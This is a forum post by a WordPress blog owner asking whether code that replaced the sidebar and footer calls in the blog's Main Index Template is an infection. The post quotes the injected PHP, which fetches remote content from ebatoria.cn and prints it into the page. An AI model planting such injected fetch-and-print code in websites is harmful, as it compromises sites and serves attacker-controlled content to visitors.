Is mystery code an infection?

I’ve been having problems with the sidebar disappearing from the main page of my blog http://dirtdiggersdigest.org/

Automatically re-installing 2.8.4 *temporarily* restores the sidebar but the problem returns in a matter of hours, even after I removed and re-installed all the widgets and removed the plug-ins.

I noticed that after the problem appeared, the content of my Main Index Template had changed on its own. At the very end, the code:

<?php get_sidebar(); ?>
<?php get_footer(); ?>

had disappeared and was mysteriously replaced with:

<?
if (extension_loaded(“curl”)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, “http://ebatoria.cn/google.dat&#8221;);
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode(“”,file(“http://ebatoria.cn/google.dat&#8221;)); }
if($r) print $r;
?>

Is this the sign of an infection or what?